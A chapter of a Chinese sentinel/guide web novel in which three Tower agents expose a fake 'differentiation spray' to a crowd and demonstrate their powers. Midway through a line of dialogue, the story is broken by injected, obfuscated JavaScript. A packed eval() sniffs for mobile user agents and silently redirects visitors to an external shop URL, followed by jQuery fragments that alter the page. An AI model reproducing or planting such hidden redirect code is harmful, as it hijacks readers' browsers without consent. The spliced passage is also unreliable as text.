由于齐璟进门后直接高举麻醉枪，群众这边倒是比保镖“听话”很多，没有愤怒也没有反抗，只是众人三三两两地聚在一起害怕地看着齐璟。


    然而等周正竣走近后才发现，或许“听话”的原因不止如此——他看到了蜷曲在地、双眼紧闭的宣讲人。


    “…怎么回事？”周正竣问道。


    齐璟回过头，干咽一下，“他…他一直在说我们是假的，还走过来夺枪，我没有主动开枪，是枪口刚好对着他，然后他不小心扣到了扳机。”


    几分钟前——


    齐璟自曝身份后，宣讲人便停下手上的动作，皱着眉来到众人最前面，仰头看着齐璟：“你说你是什么？”


    “…我们是总塔的，我是向导。”


    此言一出，宣讲人背后的群众一阵喧闹，他们把充满崇拜的目光转移到了齐璟身上。


    宣讲人却侧头大声呵斥：“等等！他说什么你们就信吗？我还说我是哨兵呢…S级！”他又看向齐璟，“有什么…证明吗？”


    齐璟顿了一下，“…有的，”可他用另一只手摸遍全身也没有摸到自己的证件，情急之下，他把手腕上的手环展示给宣讲人，“这个…这个是总塔专用的手环。”


    宣讲人看了一眼，却转头笑了，对身后的群众道：“这不过就是个普通的手环，依我看，他们是太、想、分、化，精神失常了，穿着拿着自以为高级的东西就来我们的地盘，就是想争夺我们的分化喷雾！”


    群众们恍然大悟，拿到喷雾的人纷纷把喷雾放到怀里紧紧捂住。


    “…”齐璟哑然，“不是…”


    “所以你举着的这个，就是个玩具枪吧？让我看看，”说着宣讲人便跳起来够到了麻醉枪。


    齐璟立刻握紧枪，肌肉用力。


    宣讲人冲着他的腋下打了一拳，齐璟下意识缩回手臂，宣讲人双手抓住麻醉枪。


    “先生…”齐璟也双手握住枪，和宣讲人拉扯起来——总塔的规定和齐璟对自己的约束不允许他对普通人动用武力。


    但是——


    “啊！”


    麻醉弹头射中宣讲人，一秒后他便失去了所有力气，侧身倒在地上。


    齐璟不再需要维持秩序，因为看到此场景的群众纷纷后退，用动作表达着他们的畏惧。


    “知道了，”听完，周正竣点了点头，然后朝众人靠近一步，举起双手，“各位，我们来自总塔，这是我的证件，”他掏出带有总塔标识的证件亮给众人，“以及…”他低头看了眼地上的宣讲人，“这位先生并没有受伤，他只是晕过去了，”他接过齐璟手中的麻醉枪，拆下其中的子弹捏在手上举起来，“你们看，这里面是麻醉剂，不是真的子弹。我们也不会伤害你们，刚才是个意外。”


    众人沉默地盯着他，片刻后，有胆大的上前一步夺走他手中的证件，又立刻后退，垂头仔细翻看。


    暂且，或是迫于形势不得不相信周正竣后，那人把证件扔回给周正竣，道：“你们…来这里想干什么？”


    周正竣转头看了一眼黎檬和齐璟，轻咳一声道：“虽然我们对分化的具体原理不是很清楚，但是从我的经验来看…”他指了指众人抱着的喷雾，“这个喷雾对分化没有用，它唯一的作用可能是…呃，帮助保湿？”


    “你胡说！”有人反驳道：“你自己成功分化了，就不想别人分化！”


    周正竣大摆手，“我没有那个意思，我绝对希望有更多人分化，但是那个喷雾，对分化不会有用。分化的确与我们的努力相关，但它更主要被基因影响，比如我身边这位…”


    他伸手示意齐璟，“他是A级向导，在分化前身体不好，没有人认为他可以分化，但是他不仅分化了，还是A级，甚至还是男生中比较少见的向导。”


    “这位，”周正竣看向黎檬，后者正在给两个保镖戴上手铐，感受到目光后她转身面向众人，“大家可以猜一猜她是什么？”


    “B级向导？”有人说道。


    黎檬勾嘴笑了笑，淡淡道：“我是哨兵，A级。”


    “哇，我也想让我女儿分化成哨兵，”人群中一人道。


    周正竣继续道：“你们应该都知道，最佳且最常见的分化年龄在18岁之前，但是…她是在19岁那年分化的。”


    “还有一位，”周正竣走到门口，朝工厂外招了招手，很快，白志星跑进来，站到周正竣身边，“他…”周正竣把胳膊搭到白志星的肩膀上，“是普通人…目前。按照这个喷雾或者你们之前买的什么东西的原理来看，他经常和我们待在一起，也该很快分化才对，但是…”周正竣耸了耸肩，结果显而易见。


    白志星无奈地推开他的手，黎檬笑着拍了拍白志星的肩膀。


    “给你们介绍他们的意思是，分化是一个很随机的事情，可能有人做了很多努力也没能分化，有人什么都没做就早早分化，我不知道你们最开始是怎么聚集在这里的，但是这个活动没有意义且在浪费你们的时间，你们本可以做些更重要的事情对吧？”


    “如果你们认可我的话，就早点回家去，可以跟家人朋友讨论一下这件事，但是以后就不要再参与这种活动了；不认可的话…”周正竣有些苦恼的样子，“那我只能叫警察来处理了？”


    听了这话，有人把喷雾随手丢到地上，朝出口走去；有人则依然站在原地，持怀疑态度，“你们真的是哨向？除了物件的证明，你们有没有什么…特长？”


    周正竣挑了挑眉，“我明白你的意思，”他对齐璟歪歪头，后者颔首，闭上眼，片刻后，面前众人纷纷感到头晕，双腿一软坐到了地上，甚至有人开始干呕。


    周正竣敲了个响指，齐璟睁开眼，众人身上的症状又开始消失。


    周正竣道：“这是向导的精神力攻击，在战场上可以对敌方哨向造成严重影响，但是对普通人的话，就像刚才那样，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951622|188518||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会让你们觉得不适。以及…”他指了指黎檬，“这位哨兵刚才一个人拿下了那两位保镖，即使是常年健身的普通人也无法达到这种效果，如果你们想和她切磋一下，也是可以的。”


    众人看了眼体型和肌肉都比黎檬大一圈的保镖，连连摇头。


    “除此之外，”周正竣对黎檬做了个手势，后者转头看向群众，随后道：“最后一排的蓝色上衣女士，你的眼睛里有些血丝，或许最近有点用眼过度？”


    众人一齐回头，黎檬口中的那位女士，距离她至少有二十米远，前排有人说道：“啊？这也太夸张了。”


    没等黎檬回应，被点到的女士先点了点头，大声道：“啊…是的！我也发现了，我最近经常戴着美瞳熬夜。”


    周正竣摊手，“这应该算是我们的…特长？”


    没有什么可以质疑的地方了，被说服的人继续向外走去，不买账的人执着地留在原地，还有人走了几步后停在黎檬面前，道：“姑娘，我们真的没有办法做些什么来帮助分化吗？”


    黎檬看着面前与黎小珺年龄相仿的阿姨，顿了顿，“…多运动？”


    阿姨叹了口气，“都这样说，但是有人运动了一辈子也没有摸到分化的门槛啊。”


    黎檬抿了抿嘴，沉默下来，一旁的周正竣见状本想开口打圆场，齐璟却忽然接道：“其实…也许不分化也很好，做普通人没什么不好。”


    阿姨转头看向他，“不分化好吗？”


    黎檬也看向齐璟，后者眼中的情绪有些复杂，他看着阿姨，微微点头，“嗯，每个人分化的契机不同，也许伴随着分化而来的，是…不好的消息。”


    阿姨看他几秒，抬手拍了拍他的肩膀，“谢谢你。”


    周正竣也及时道：“虽然这个社会把哨向捧得很高，但人最重要的是明白自己想要什么，普通人也有独特的幸福。”


    阿姨笑着点了点头，“好，谢谢你们。”随后转身离开。


    之后，看着工厂内剩余的人，周正竣打电话通知警察来处理后，几人便又坐回车上，准备返程。


    相比来时的活跃，此时的白志星看起来则有些低落，他一边系安全带，一边道：“代入你们简直太爽了，在那么多人面前炫耀。”


    “嗯？”周正竣看了眼后视镜，“本意不是炫耀，只是为了让大家相信我们的确是哨向。”


    白志星撇了撇嘴，“我知道，我也想这样。”


    “你会的。”周正竣道。


    “唉，我跟他们又有什么区别？我也未必就能分化。”


    周正竣沉默着，有时候他会想，如果告诉白志星，他的母亲是总塔最优秀的向导之一，会发生什么？


    但是…他想到当年那些对白瑞的描述与评价，如果连他都没有搞清楚事情的真相，他又该如何让白志星不要多想，他们两个又该如何相处？


    周正竣又抬眼看向白志星，还不是现在。